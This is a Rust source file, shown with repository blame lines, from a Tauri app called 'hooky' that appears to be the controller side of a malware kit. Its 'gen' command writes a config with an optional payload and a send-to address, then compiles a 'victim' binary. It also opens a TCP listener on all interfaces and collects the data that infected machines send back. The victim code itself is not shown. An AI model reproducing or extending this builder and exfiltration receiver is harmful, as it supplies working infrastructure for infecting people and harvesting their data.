~/hooky

hooky/command/src-tauri/src/main.rs -rw-r--r-- 3.81 kB
b90df7a0 — Arthur Melton fix some clippy things 2 years ago

            
89bc4b52 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
c1f59a62 Arthur Melton
dfc58611 Arthur Melton
c1f59a62 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
335dec98 Arthur Melton
8b2d0277 Arthur Melton
335dec98 Arthur Melton
8b2d0277 Arthur Melton
df6fb4e9 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
406fafb5 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
b90df7a0 Arthur Melton
c1f59a62 Arthur Melton
b90df7a0 Arthur Melton
89bc4b52 Arthur Melton
8b2d0277 Arthur Melton
b90df7a0 Arthur Melton
8b2d0277 Arthur Melton
89bc4b52 Arthur Melton
406fafb5 Arthur Melton
89bc4b52 Arthur Melton


























































































1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#![cfg_attr(
    all(not(debug_assertions), target_os = "windows"),
    windows_subsystem = "windows"
)]

#[macro_use]
extern crate lazy_static;

use config::Config;
use data::Sends;
use std::fs::File;
use std::io::{Read, Write};
use std::net::TcpListener;
use std::process::Command;
use std::sync::{Arc, Mutex};
use std::thread;

lazy_static! {
    pub static ref HOOKS: Arc<Mutex<Vec<Sends>>> = Arc::new(Mutex::new(Vec::new()));
    pub static ref INDEX: Arc<Mutex<usize>> = Arc::new(Mutex::new(0));
    pub static ref DONE: Arc<Mutex<bool>> = Arc::new(Mutex::new(false));
}

#[tauri::command]
fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
    thread::spawn(move || {
        if payload == Some("".to_string()) {
            payload = None;
        }
        let mut path = std::env::current_exe().unwrap();
        for _ in 0..4 {
            path.pop();
        }
        path.push("victim");
        path.push("config.toml");
        let config = Config {
            payload: payload.clone(),
            send_to: send_to.clone(),
        };
        let mut file = File::create(path.clone()).unwrap();
        file.write_all(toml::to_string(&config).unwrap().as_bytes())
            .unwrap();
        file.sync_all().unwrap();
        path.pop();
        let mut args = vec!["build", "--release"];
        for i in features.iter().map(|x| x.as_str()).collect::<Vec<_>>() {
            args.push("--features");
            args.push(i);
        }
        if payload.is_some() {
            args.push("--features");
            args.push("payload");
        }
        Command::new("cargo")
            .args(args)
            .current_dir(&path.display().to_string())
            .output()
            .expect("failed to execute process");

        thread::spawn(move || {
            let listener =
                TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap()))
                    .unwrap();
            for stream in listener.incoming() {
                thread::spawn(move || {
                    let mut stream = stream.unwrap();
                    let mut total = Vec::new();
                    let mut buffer = [0; 4096];
                    while stream.read(&mut buffer).unwrap() == 4096 {
                        for i in buffer {
                            total.push(i);
                        }
                    }
                    for i in buffer {
                        total.push(i);
                    }
                    let new_sends: Sends = bincode::deserialize(&total).unwrap();
                    let hooks = Arc::clone(&HOOKS);
                    let mut hooks = hooks.lock().unwrap();
                    (*hooks).push(new_sends);
                });
            }
        });
        let done = Arc::clone(&DONE);
        let mut done = done.lock().unwrap();
        *done = true;
    });
}

#[tauri::command]
fn victim_payload() -> String {
    let mut path = std::env::current_exe().unwrap();
    for _ in 0..4 {
        path.pop();
    }
    for i in &["victim", "target", "release", "victim"] {
        path.push(i);
    }
    path.display().to_string()
}

#[tauri::command]
fn get_new() -> Vec<Sends> {
    let sends = (*HOOKS.lock().unwrap()).clone();
    let start_at = *INDEX.lock().unwrap();
    let index = Arc::clone(&INDEX);
    let mut index = index.lock().unwrap();
    *index = sends.len();
    sends[start_at..].to_vec()
}

#[tauri::command]
fn is_done() -> bool {
    *DONE.lock().unwrap()
}

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![
            gen,
            victim_payload,
            get_new,
            is_done
        ])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}